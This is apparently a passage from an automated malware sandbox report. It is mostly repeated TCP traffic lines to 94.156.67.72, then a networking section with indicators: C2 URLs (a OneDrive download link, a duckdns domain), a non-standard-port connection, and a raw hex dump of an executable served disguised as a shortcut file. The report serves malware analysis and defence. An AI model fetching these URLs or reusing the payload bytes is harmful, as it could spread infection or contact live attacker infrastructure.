Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 192.168.2.22:49169 -> 94.156.67.72:80
Source: global traffic TCP traffic: 94.156.67.72:80 -> 192.168.2.22:49169

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: https://onedrive.live.com/download?resid=77E389B66C951B09%21132&authkey=!AD_QXcfalkvUogo
Source: Malware configuration extractor URLs: wwsaer.duckdns.org
Uses dynamic DNS services
Source: unknown DNS query: name: wwsaer.duckdns.org
Contains functionality to check if a connection to the internet is available
Source: C:\Users\Public\Libraries\Efftwcmk.PIF Code function: 11_2_02C8CF48 InternetCheckConnectionA, 11_2_02C8CF48
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 91.92.251.26:8533
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 23 May 2024 18:21:05 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Thu, 23 May 2024 07:42:57 GMTETag: "153000-6191a33203e60"Accept-Ranges: bytesContent-Length: 1388544Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/lnkData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 d4 05 00 00 58 0f 00 00 00 00 00 28 ec 05 00 00 10 00 00 00 f0 05 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 15 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 40 13 00 40 25 00 00 00 00 14 00 00 bc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 13 00 d4 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 13 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 46 13 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 96 05 00 00 10 00 00 00 96 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 70 3c 00 00 00 b0 05 00 00 3e 00 00 00 9a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 50 07 0d 00 00 f0 05 00 00 08 0d 00 00 d8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 98 36 00 00 00 00 13 00 00 00 00 00 00 e0 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 40 25 00 00 00 40 13 00 00 26 00 00 00 e0 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 34 00 00 00 00 70 13 00 00 00 00 00 00 06 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 80 13 00 00 02 00 00 00 06 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 6b 00 00 00 90 13 00 00 6c 00 00 00 08 13 00 00 00 00 